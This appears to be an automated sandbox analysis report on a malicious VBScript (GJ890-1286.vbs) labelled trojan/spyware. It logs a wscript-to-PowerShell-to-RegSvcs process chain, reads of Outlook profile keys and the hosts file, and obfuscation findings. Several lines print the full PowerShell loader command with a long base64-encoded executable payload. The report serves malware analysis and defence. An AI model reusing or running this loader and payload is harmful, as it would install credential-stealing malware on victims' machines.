ZzJgAACnoRBSD4AAAA1hMOHwk4W/7//wQRBRzWKCkAAAoX2hMRHwo4Rv7//xYTEh8LODz+//84nwAAAAQRDh8M1ignAAAKExMfDDgj/v//BBEOHxDWKCcAAAoTFB8NOA/+//8EEQ4fFNYoJwAAChMVHw44+/3//xEULEsRFBfaF9aNGwAAARMWHw844/3//wQRFREWFhEWjmkoKgAACh8QOM39//8RBHsJAAAEEQ0RE9YRFhEWjmkSASgWAAAGLQZzJgAACnoRDh8o1hMOHxE4nv3//xESF9YTEhESERE+WP///xENKCsAAAoTDx8SOH/9//8RBHsJAAAEEQge1hEPGhIBKBYAAAYtBnMmAAAKegQRBR8o1ignAAAKExAfEzhO/f//EQwsBBEGEw0RBx8sEQ0RENaeHxQ4Nf3//ygoAAAKGjMWEQR7CgAABBEHKBMAAAYtHHMmAAAKehEEewoAAAQRBygUAAAGLQZzJgAACnoRBHsKAAAEKBkAAAYVMwZzJgAACnreSCgsAAAKFisBFkUDAAAAAgAAABQAAAAkAAAAKyoRBHsLAAAEhCgtAAAKExcXK9sRFywHERdvLgAAChYKGCvLKC8AAAoZK8PeAhcKBioAAABBHAAAAAAAAFsAAABeAwAAuQMAAEgAAAAYAAABHgIoEgAACiobMAQA7QAAAAMAABFzMAAACiUoMQAACm8yAAAKAigzAAAKKDQAAApypQAAcHKxAABwbzUAAApytQAAcHLDAABwbzUAAApyxwAAcHLTAABwbzUAAApy1wAAcHLjAABwbzUAAApy5wAAcHL5AABwbzUAAApy/QAAcHIPAQBwbzUAAApyEwEAcHIlAQBwbzUAAApyK
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('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	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ilbo13zy.j2f.ps1

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winVBS@6/3@3/3

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5988:120:WilError_01

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GJ890-1286.vbs"

Source: wscript.exe, 00000000.00000002.302919745.000001D52AC98000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ;.VBp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.Run("powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAA", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('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
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('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			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05CFCF92 push esp; iretd	3_2_05CFD1CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05CFF588 pushad ; iretd	3_2_05CFF915
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_05CFED90 pushad ; iretd	3_2_05CFEEBD

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
